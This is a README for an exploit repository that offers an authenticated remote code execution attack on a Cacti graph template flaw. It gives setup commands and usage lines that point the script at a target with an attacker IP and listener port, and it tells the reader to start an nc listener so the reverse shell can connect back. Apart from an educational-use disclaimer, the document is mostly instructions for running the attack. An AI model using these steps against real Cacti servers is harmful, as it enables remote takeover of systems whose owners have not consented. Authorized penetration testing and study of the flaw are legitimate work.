
Authenticated remote code execution exploit for Cacti graph template vulnerability, with reverse shell payload and proxy support for authorized penetration testing.
Important — Read this first:
This repository andexploit.pyare provided for educational and research purposes only. Do not use this code against systems, networks, or services for which you do not have explicit, written authorization. Unauthorized access to computer systems is illegal and unethical. By using this code you agree to follow applicable laws and institutional policies.
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
python3 exploit.py -u <username> -p <password> -i <attacker_ip> -l <listener_port> -url <target_url> [--proxy]
Before running the script make sure you have a nc listener running. Run the script without proxy unless debugging:
python3 exploit.py \
-u testuser \
-p Welcome1 \
-i 192.168.43.11 \
-l 4444 \
-url http://localhost
Final reminder: This script and README are for educational use only. Never use these tools to access systems unlawfully.